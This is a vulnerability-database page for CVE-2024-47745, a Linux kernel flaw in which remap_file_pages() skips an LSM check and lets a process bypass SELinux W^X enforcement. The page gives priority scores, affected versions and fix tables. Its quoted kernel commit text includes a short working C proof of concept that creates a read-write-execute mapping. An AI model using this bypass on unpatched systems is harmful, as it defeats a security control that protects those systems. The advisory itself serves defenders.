Skip to content
Noroxi
CVE-2024-47745· NVD / CVE Program· CNA Linux

mm: call the security_mmap_file() LSM hook in remap_file_pages()

Noroxi assessment

Priority: Monitor (action score 31/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Probability of exploitation in the next 30 days: 0.28% (FIRST EPSS).
  • Someone with local access to the system can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: Linux Linux 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1, 3.17, 3393fddbfa947c8e1fdcc4509226905ffffd8b89.
  • Mentioned 1 time in Turkish national cyber security advisories (siberguvenlik.gov.tr).

Low priority for now. Upgrade to Linux Linux 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1, 3.17, 3393fddbfa947c8e1fdcc4509226905ffffd8b89 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: NVD · CVE.org · FIRST EPSS

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

HighCVSS 7.8 · v3.1—No exploit Fix available
Published
Oct 21, 2024
Updated
Aug 5, 2026
EPSS
0.2% · 19th percentile

Report tools

JSON

Action score

31

Monitor

Low priority for now.

CVSS
31 / 40 · 7.8 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · 0.2%

CISA SSVC decision

Exploitation
none
Automatable
no
Technical impact
partial

Vulnrichment: CISA's decision-tree inputs.

CNA vs NVD score

NVD
7.8
CNA · Linux
7.8
agree

The score given by the assigning authority versus NVD’s independent score. A gap means the severity is contested.

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow CVE-2024-47745

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits instantly.

Your free account also gets you

Running WordPress? Scan your site free with WP Lens

  • Stack alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools

Sign up with email · Have an account? Sign in

Free account, no card. Unfollow any time.

Don't want an account? Get "Exploited this week" by email every MondayDon't want an account? RSS feed for linux records

Running WordPress? Scan your site free with WP Lens

Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
linuxlinux kernel
debiandebian linux

Affected versions

NVD version ranges (for catalog products). Add the product to your stack with a version and matching uses these.

  • debian debian linux11.0
  • linux linux kernelbefore 6.1.120
  • linux linux kernel6.2 and later · before 6.6.54
  • linux linux kernel6.7 and later · before 6.10.13
  • linux linux kernel6.11 and later · before 6.11.2

Versions reported by the vendor

Affected version ranges reported by the assigning authority (Linux). Independent of NVD's CPE analysis and usually ahead of it.

  • Linux Linux

    • 097f98edde717ce09f217d8a285fe357dcd29fd1, 4.0affected
    • c8d78c1823f46519473949d33f0d1d33fe21ea16 and later · before 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1affected · git
    • c8d78c1823f46519473949d33f0d1d33fe21ea16 and later · before 49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178affected · git
    • c8d78c1823f46519473949d33f0d1d33fe21ea16 and later · before 3393fddbfa947c8e1fdcc4509226905ffffd8b89affected · git
    • c8d78c1823f46519473949d33f0d1d33fe21ea16 and later · before ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3affected · git
    • c8d78c1823f46519473949d33f0d1d33fe21ea16 and later · before ea7e2d5e49c05e5db1922387b09ca74aa40f46e2affected · git
    • 3.16.59 and later · before 3.17affected · semver
    • before 4.0not affected · semver
    • 6.1.120 and later · up to and including 6.1.*not affected · semver
    • 6.6.54 and later · up to and including 6.6.*not affected · semver

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Debian:12linuxbefore 6.1.123-16.1.123-1
Debian:13linuxbefore 6.11.2-16.11.2-1
Red Hat:rhel_eus:9.2::appstreambpftool-debuginfobefore 0:7.0.0-284.117.1.el9_20:7.0.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-64k-debug-debuginfobefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-64k-debug-develbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-64k-debug-devel-matchedbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-64k-debuginfobefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-64k-develbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-64k-devel-matchedbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debug-debuginfobefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debug-develbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debug-devel-matchedbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debuginfobefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debuginfo-common-aarch64before 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debuginfo-common-ppc64lebefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debuginfo-common-s390xbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-debuginfo-common-x86_64before 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-develbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-devel-matchedbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-docbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-tools-debuginfobefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-zfcpdump-debuginfobefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-zfcpdump-develbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2
Red Hat:rhel_eus:9.2::appstreamkernel-zfcpdump-devel-matchedbefore 0:5.14.0-284.117.1.el9_20:5.14.0-284.117.1.el9_2

+96

Same product

linux: all records

Other highest-scoring records for the same primary product.

  • CVE-2022-0847A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe KEV
    89Now
  • CVE-2021-22555Heap Out-Of-Bounds Write in Netfilter IP6T_SO_SET_REPLACEKEV
    85Now
  • CVE-2016-5195Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect haKEV
    83Now

Published before and after this one in the same product

  • ← EarlierCVE-2024-47743Oct 21, 2024 · KEYS: prevent NULL pointer dereference in find_asymmetric_key()
    22Monitor
  • ← EarlierCVE-2024-47744Oct 21, 2024 · KVM: Use dedicated mutex to protect kvm_usage_count to avoid deadlock
    22Monitor
  • Later →CVE-2024-47746Oct 21, 2024 · fuse: use exclusive lock when FUSE_I_CACHE_IO_MODE is set
    22Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Linux Linux0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1Vendor (CNA)
Linux Linux3.17Vendor (CNA)
Linux Linux3393fddbfa947c8e1fdcc4509226905ffffd8b89Vendor (CNA)
Linux Linux49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178Vendor (CNA)
Linux Linuxce14f38d6ee9e88e37ec28427b4b93a7c33c70d3Vendor (CNA)
Linux Linuxea7e2d5e49c05e5db1922387b09ca74aa40f46e2Vendor (CNA)
debian:linux6.1.123-1 · Debian:12Package registry (OSV)
red hat:bpftool-debuginfo0:7.3.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-64k-debug-debuginfo0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-64k-debug-devel0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-64k-debug-devel-matched0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-64k-debuginfo0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-64k-devel0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-64k-devel-matched0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-debug-debuginfo0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-debug-devel0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-debug-devel-matched0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-debuginfo0:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)
red hat:kernel-debuginfo-common-aarch640:5.14.0-427.67.1.el9_4 · Red Hat:rhel_eus:9.4::appstreamPackage registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

EPSS, last 120 days

FIRST EPSS daily score; only changes of 0.01 or more are recorded (step chart).

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

No commit or PR link among the references.

Credits

All researchers

Finders, reporters and analysts named in the CNA record. Click a name for that researcher’s other records.

No credits in the CNA record.

Variant candidates

Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.

  • CVE-2024-5313444 days apartpmdomain: imx93-blk-ctrl: correct remove path
    22Monitor
  • CVE-2022-49393128 days apartmisc: fastrpc: fix list iterator in fastrpc_req_mem_unmap_impl
    22Monitor
  • CVE-2023-52742153 days apartnet: USB: Fix wrong-direction WARNING in plusb.c
    22Monitor
  • CVE-2023-52781153 days apartusb: config: fix iteration issue in 'usb_get_bos_descriptor()'
    22Monitor
  • CVE-2025-38291262 days apartwifi: ath12k: Prevent sending WMI commands to firmware during firmware crash
    22Monitor

Chain candidates

An authentication bypass and a privilege-requiring bug in the same product, published close together: combined they may become an unauthenticated path.

—

Bug bounty scope

No known public program.

Source: bounty-targets-data (public HackerOne, Bugcrowd, Intigriti, YesWeHack listings).

National notice (Türkiye Cybersecurity Directorate / USOM)

Official security notices citing this record; remediation advice is on the agency's page.

All national notices →

Technical details

Attack conditions

  • Someone with local access to the system can trigger it.
  • A low-privileged account is enough.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
high · data can be read
Integrity
high · data or configuration can be modified
Availability
high · the service can be disrupted
Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality impact
High
Integrity impact
High
Availability impact
High

Weakness class (CWE)

CWE-670 · Always-Incorrect Control Flow Implementation

CVSS vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvd-primary

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

MITRE has no CAPEC/ATT&CK mapping for this CWE.

Change log

  1. Fix✗ → ✓

For records you follow, these changes also arrive as notifications. →

References

Show all references (5 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records